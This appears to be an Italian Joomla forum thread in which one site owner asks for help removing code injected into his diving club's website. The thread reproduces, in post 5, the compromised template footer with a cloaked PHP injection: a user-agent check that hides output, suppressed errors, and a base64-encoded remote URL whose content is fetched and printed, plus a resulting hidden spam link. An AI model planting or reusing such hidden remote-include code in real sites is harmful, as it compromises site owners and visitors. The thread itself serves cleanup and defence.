Post

1

Sicurezza / Re:codice sospetto

« il: 20 Dic 2013, 11:43:29 »

Ciao, se non ho capito male quanto riportato nel link che mi hai indicato, il codice è installato nel server e lavora in background, non è codice inserito nel sito. Dovrei contattare il mio servizio di Hosting per chiedere di rimuoverlo? Scusatemi ma non sono molto pratico di queste cose.
Grazie. Ciao

2

Sicurezza / Re:codice sospetto

« il: 20 Dic 2013, 11:17:48 »

Si, evidentemente si sono affezzionati al mio sito...

Inizia con il cambiare password agli amministratori joomla
e le credenziali ftp e mysql dello spazio web

questo l'ho già fatto

Fatti un backup del sito dopo che lo hai ripulito.

qui invece non so dove cercare per ripulire.. qualche idea? secondo te cosa fà questo codice?
grazie
ciao

3

Sicurezza / codice sospetto

« il: 20 Dic 2013, 10:42:30 »

Ciao, ho da poco rimosso del codice dopo un attacco. Premetto che aggiorno costantemente sia Joomla che tutte le estensioni caricate. Continuo a trovare utenti che si registrano molto sospetti e li elimino, ma credo che nel frattempo abbiano già fatto danni. Adesso ho disbilitato il Login e la Registrazione.
Ho trovato ancora del codice sospetto che vi sottopongo per capire cosè e dove cercarlo nel sito per rimuoverlo. Ho già fatto una verifica dei file index principale e del template ma niente.
Il codice è questo: ******
il sito è http://www.sommozzatoribassano.it/
Grazie
ciao

edit: rimosso codice sospetto
 

4

Sicurezza / Re:codice malevolo aggiunto sul mio sito

« il: 10 Dic 2013, 00:56:30 »

Ok , ho cancellato la riga con base64. Spero di non avere cancellato parti buone del codice. Adesso funziona tutto bene.. Ho sostituito tutte le password del sito e delle e-mail. Grazie. Posso chiudere il topic . Ciao

5

Sicurezza / Re:codice malevolo aggiunto sul mio sito

« il: 09 Dic 2013, 23:00:09 »

Per il momento ho trovato questo ma non so cosa cancellare:

Codice: [Seleziona]

<p>asd SOMMOZZATORI BASSANO via Porto di Brenta, 5 36061 Bassano del Grappa - VI</p>


<p>info@sommozzatoribassano.it</p>


<p>C.F. 91037150249</p>


<p>Copyright © Sommozzatori Bassano 2012. All Rights Reserved.</p>
<div class="cleared"><>




                    <?php echo str_replace('%YEAR%', date('Y'), ob_get_clean()); ?>
                    <?php endif; ?>
                <>
        <div class="cleared"><>
    <>
<>


<div class="cleared"><>
    <>
<>


    <div class="cleared"><>
<>


<?php echo $view->position('debug'); ?>
<?php $agent=str_replace(" ","",$_SERVER['HTTP_USER_AGENT']); if(stristr($agent,"MSIE") || stristr($agent,"Opera") || stristr($agent,"Firefox") || stristr($agent,"Chrome")) { echo '<div style="display:none">';} ?>
<?php error_reporting(0);@print(file_get_contents(base64_decode("aHR0cDovL3d3dy5wb3JudmlkbWVkaWEuY29tL2l0LnR4dA==")));?>
<>
</body>
</html>


6

Sicurezza / Re:codice malevolo aggiunto sul mio sito

« il: 09 Dic 2013, 21:43:06 »

Infatti ho usato note++ per scansionare tutti i file. Credo però di aver visto qualcosa di simile quello che descrivi come base64. Cerco e poi vi faccio sapere.
Grazie 1000 ancora

7

Sicurezza / Re:codice malevolo aggiunto sul mio sito

« il: 09 Dic 2013, 17:49:33 »

Ciao,
ho passato tutti i file .PHP ma non sono riuscito a trovare la stringa del Link.
Avete qualche altra idea? C'è uno strumento che mi saprebbe indicare il file sorgente di quel pezzo di codice?


 


Grazie a tutti
ciao

8

Sicurezza / Re:codice malevolo aggiunto sul mio sito

« il: 06 Dic 2013, 11:45:07 »

Ciao, il codice lo devo ancora trovare, non è su index.php
Ho corretto solo il post come richiesto.
Evidentemente devo aumentare la sicurezza del sito. Sono un autodidatta 100% e quindi molte cose ancora mi sfuggono. Suggerimenti?
Grazie per l'interessamento

9

Sicurezza / Re:codice malevolo aggiunto sul mio sito

« il: 05 Dic 2013, 17:53:23 »

Ok fatto
Grazie 1000

10

Sicurezza / [risolto]codice malevolo aggiunto sul mio sito

« il: 05 Dic 2013, 12:36:41 »

Ciao a tutti. Ho un problema sul mio sito: ho notato guardandolo con IPAD un link in fondo alla pagina principale che sicuramente mi è stato aggiunto su qualche file. Vi riporto le ultimissime righe di codice sorgente della home page:

Codice: [Seleziona]

<div style="display:none">
<li><a href="http://www.filmstramingvk.net" target="_blank">film streaming</li><>
</body>
</html>

Qualcuno di voi saprebbe dirmi su quale file posso trovare queste righe di comando per cancellarle?


il mio sito è http://www.sommozzatoribassano.it


Grazie